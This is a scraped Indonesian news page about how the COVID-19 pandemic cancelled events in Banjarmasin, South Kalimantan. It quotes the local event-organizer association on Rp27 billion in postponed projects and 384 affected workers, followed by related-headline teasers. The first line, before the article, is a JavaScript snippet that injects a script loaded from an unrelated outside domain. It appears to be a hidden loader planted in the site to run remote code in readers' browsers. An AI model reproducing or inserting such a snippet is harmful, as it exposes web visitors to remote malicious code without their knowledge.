(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Pandemi Covid-19 berdampak pada ditundanya beberapa event atau kegiatan. Karena, berpotensi mengumpulkan massa yang jauh lebih besar, sehingga berpotensi menularkan virus Covid-19.
Tentunya, berdampak pada keberlangsungan penyelenggara acara atau event organizer (EO), khususnya yang berada di Kalimantan Selatan, khususnya di kota Banjarmasin. Mengingat, sebagian besar kegiatan berskala besar digelar di kota ini.
Sekretaris Perkumpulan Pengusaha Event Organizer (Perpeo) Kalsel Ahmad Gazim Benasti mengatakan, pandemik Covid-19 berdampak pada keberlangsungan EO. Karena diakuinya, banyak kegiatan yang harus ditunda, sehingga tidak ada pemasukan sama sekali.
“Cancel (batal) semua. Seperti seminar, gathering, konser, pameran pun cancel,†ucapnya saat ditemui, Kamis (16/4/2020).
Beben –sapaan akrabnya- mencontohkan, salah satu mall terbesar di kota Banjarmasin yang sepi pengunjung lantaran wabah Covid-19. Sehingga, banyak instansi swasta tidak ingin menyelenggarakan pameran di tempat sepi, apalagi di tengah pandemi. Akibatnya, sebagian besar EO yang bernaung di Perpeo Kalsel tidak memiliki pemasukan sama sekali.
Lalu, sampai kapan EO dapat bertahan di tengah kondisi seperti ini? Beben menyebut 3 bulan semenjak wabah Covid-19 melanda Kalsel. Yaitu di bulan Maret, April dan Mei. “(Di bulan) Juni apakah bisa bertahan? Itulah makanya kami menuntut kepada pemerintah, bahwa kita harus berubah,†ungkapnya.
Ia mencontohkan, jika pemerintah memiliki anggaran untuk kegiatan seminar dan gathering yang tidak mengumpulkan massa yang lebih banyak. Misalnya seminar online ataupun gathering online dengan bantuan jasa EO.
Lalu, berapa nominal kerugian akibat dibatalkannya kegiatan dengan jasa EO? Berdasarkan data yang dihimpun, Beben mengungkapkan, dari 28 EO yang tergabung di dalam Perpeo Kalsel, pekerjaan yang tertunda akibat pandemik Covid-19 berjumlah Rp27 miliar. Tentunya, berdampak pula pada 384 karyawan EO yang bernaung di bawah Perpeo Kalsel.
“Untuk kerugian, kita belum bisa mengatakannya karena belum dijalankan. Tapi, proyek yang tertunda atau cancel itu berkisar Rp27 miliar, selama jangka waktu hingga akhir Mei 2020,†kata Beben yang juga pengusaha EO Tujuh Ruang ini.
Sementara itu, ditanya soal cara EO untuk bertahan hidup di tengah, Beben mengatakan ada beberapa EO yang masih bisa bertahan. Karena EO merupakan bagian dari industri kreatif. “Misalnya bikim tumbler, produksi cuci tangan. Tapi tidak sebagus sebelum wabah. Karena dari 100 persen, paling hanya 10 persen saja yang bisa bekerja dan itu bulan kegiatan event,†lugas Beben.
Beben berharap, adanya solusi dari pemerintah untuk tetap memutar roda ekonomi di tengah pandemik Covid-19 di Kalsel khususnya di Kota Banjarmasin. Seperti instansi tertentu yang memerlukan tenaga EO untuk melakukan promosi. “Kami berharap pemerintah untuk melakukan promosi dengan menggunakan jasa EO, dengan koordinasi menyesuaikan wabah ini,†pungkas Beben. (kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, MARTAPURA - Tersangka kasus dugaan korupsi, Kepala Desa Sungai Alat Kecamatan Astambul, P (45)… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Puluhan warga Banjarmasin harus kehilangan tempat tinggal dan mengungsi akibat kebakaran permukiman… Read More
KANALKALIMANTAN.COM, BANJARBARU - Upaya memecah masalah lalu lintas di perempatan Jalan Guntung Manggis - Trikora… Read More
Polda Kalsel Turunkan 1.200 Personel, Amankan Kabupaten Banjar dan Kota Banjarbaru Read More
KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reserse Narkoba (Satresnarkoba) Polres Banjarmasin mengungkap kasus peredaran narkotika jenis sabu.… Read More
KANALKALIMANTAN.COM, BANJARBARU - Momentum liburan Natal 2024 dan Tahun Baru 2025 menjadi ladang cuan bagi… Read More
This website uses cookies.